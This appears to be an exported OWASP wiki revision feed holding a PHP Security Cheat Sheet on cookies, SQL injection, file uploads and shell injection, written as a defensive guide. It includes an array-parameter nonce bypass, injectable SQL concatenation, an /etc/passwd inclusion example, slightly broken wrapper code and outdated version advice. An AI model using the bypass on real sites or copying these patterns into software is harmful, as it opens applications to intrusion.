Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Roy_Vanegas&amp;diff=170316</id>
		<title>User:Roy Vanegas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Roy_Vanegas&amp;diff=170316"/>
				<updated>2014-03-17T18:46:12Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I began programming in 1996, first for the web, then in languages such as Java and C. I have a bachelor’s degree in computer science and a master’s degree in hardware/software interaction design.&lt;br /&gt;
&lt;br /&gt;
I’ve been teaching web programming and design to high school students, continuing education students, and undergraduate and graduate students for the last decade.&lt;/div&gt;</summary>
		<author><name>Roy Vanegas</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170315</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170315"/>
				<updated>2014-03-17T18:41:40Z</updated>
		
		<summary type="html">&lt;p&gt;Roy Vanegas: Fixed a few misspelled words, some light grammar issues in the first two paragraphs, some indentation issues, and corrected one or more quotes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 72% of web servers deploying it.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with the latter containing the typical features of a web framework built-in. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like ‘in_array’) use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libraries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under ‘Configuration.’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many builtin functions like 'addslashes', 'mysql_escape_string' and&lt;br /&gt;
'mysql_real_escape_string' which appear to provide security, but are often buggy and,&lt;br /&gt;
in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these builtins are being deprecated and removed, but due to backwards compatibility&lt;br /&gt;
policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (instead of throwing an exception, which would be much more useful), and then&lt;br /&gt;
due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
